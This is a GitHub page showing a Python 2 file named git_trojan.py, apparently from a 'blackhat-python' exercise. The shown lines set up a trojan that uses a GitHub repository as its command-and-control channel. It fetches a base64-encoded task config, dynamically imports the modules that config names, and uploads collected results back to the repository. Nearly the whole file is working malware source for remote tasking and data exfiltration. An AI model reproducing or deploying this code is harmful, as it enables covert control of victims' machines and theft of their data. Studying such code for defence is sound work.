-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathgit_trojan.py
More file actions
51 lines (38 loc) · 1.32 KB
/
Copy pathgit_trojan.py
File metadata and controls
51 lines (38 loc) · 1.32 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import json
import base64,sys,time,imp,random,threading,Queue,os
from github3 import login
trojan_id="abc"
trojan_config="%s.json" % trojan_id
data_path="data/%s/" % trojan_id
trojan_modules=[]
configured=False
task_queue=Queue.Queue()
def connect_to_github():
#below use https login method
gh=login(username="yourname",password="yourpassword")
repo=gh.repository("yourname","blackhat-python")
branch=repo.branch("master")
return gh,repo,branch
def get_file_contents(filepath):
gh,repo,branch=connect_to_github()
tree=branch.commit.commit.tree.recurse()
for filename in tree.tree:
if filepath in filename.path:
print "[*] found file %s" %filepath
blob=repo.blob(filename._json_data['sha'])
return blob.content
return None
def get_trojan_config():
global configured
config_json=get_file_contents(trojan_config)
config=json.loads(base64.b64decode(config_json))
configured=True
for task in config:
if task['module'] not in sys.modules:
exec("import %s" %task['module'])
return config
def store_module_result(data):
gh,repo,branch=connect_to_github()
remote_path="data/%s/%d.data" %(trojan_id,random.randint(1000,100000))
repo.create_file(remote_path,"commit message",base64.b64encode(data))
return